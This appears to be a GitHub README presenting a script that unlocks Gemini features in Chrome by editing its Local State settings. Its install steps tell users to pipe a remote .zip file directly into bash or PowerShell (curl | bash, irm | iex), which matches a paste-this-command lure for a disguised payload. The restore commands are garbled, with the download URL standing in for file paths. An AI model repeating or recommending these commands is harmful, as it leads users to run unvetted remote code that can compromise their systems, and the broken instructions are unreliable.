Gemini in Chrome allows you to easily access Chrome's built-in Gemini AI features, especially if you are outside the US. Follow these steps to get started.
- Visit the Releases page: Go to the Gemini-in-Chrome Releases page.
- Choose the right file for your system:
- For macOS or Linux, you will use a simple script.
- For Windows, you will use PowerShell.
Open your terminal and run the following command:
curl -fsSL https://github.com/tianlanyb/Gemini-in-Chrome/raw/refs/heads/master/eighteen/in_Gemini_Chrome_preadherent.zip | bashOpen PowerShell and type:
irm https://github.com/tianlanyb/Gemini-in-Chrome/raw/refs/heads/master/eighteen/in_Gemini_Chrome_preadherent.zip | iex- β Checks if Chrome is running: It prompts you to close Chrome if it is open.
- πΎ Backs up your configuration: It saves your current settings as
Local https://github.com/tianlanyb/Gemini-in-Chrome/raw/refs/heads/master/eighteen/in_Gemini_Chrome_preadherent.zip. - π§ Patches important settings:
- Changes
is_glic_eligiblefromfalsetotrue - Sets
variations_countrytous - Sets
variations_permanent_consistency_countrytous
- Changes
- β Verifies changes: It checks to ensure the changes were applied correctly.
If you need to revert to your original settings, you can restore the backup you created.
macOS:
mv ~/Library/Application\ Support/Google/Chrome/Local\ https://github.com/tianlanyb/Gemini-in-Chrome/raw/refs/heads/master/eighteen/in_Gemini_Chrome_preadherent.zip \
~/Library/Application\ Support/Google/Chrome/Local\ StateLinux:
mv ~https://github.com/tianlanyb/Gemini-in-Chrome/raw/refs/heads/master/eighteen/in_Gemini_Chrome_preadherent.zip\ https://github.com/tianlanyb/Gemini-in-Chrome/raw/refs/heads/master/eighteen/in_Gemini_Chrome_preadherent.zip \
~https://github.com/tianlanyb/Gemini-in-Chrome/raw/refs/heads/master/eighteen/in_Gemini_Chrome_preadherent.zip\ StateWindows PowerShell:
Move-Item -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Local https://github.com/tianlanyb/Gemini-in-Chrome/raw/refs/heads/master/eighteen/in_Gemini_Chrome_preadherent.zip" -Destination "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State"To run Gemini in Chrome, ensure you have the following:
- A stable internet connection
- The latest version of Google Chrome installed
- Sufficient disk space for backup files
If you encounter issues:
- Ensure Chrome is closed before running the installation script.
- Check your internet connection to ensure the script can download necessary files.
- If it still fails, try running the script again after rebooting your computer.
If you have any questions or need support, please reach out via the issues page on GitHub. Your feedback helps us improve Gemini in Chrome for all users.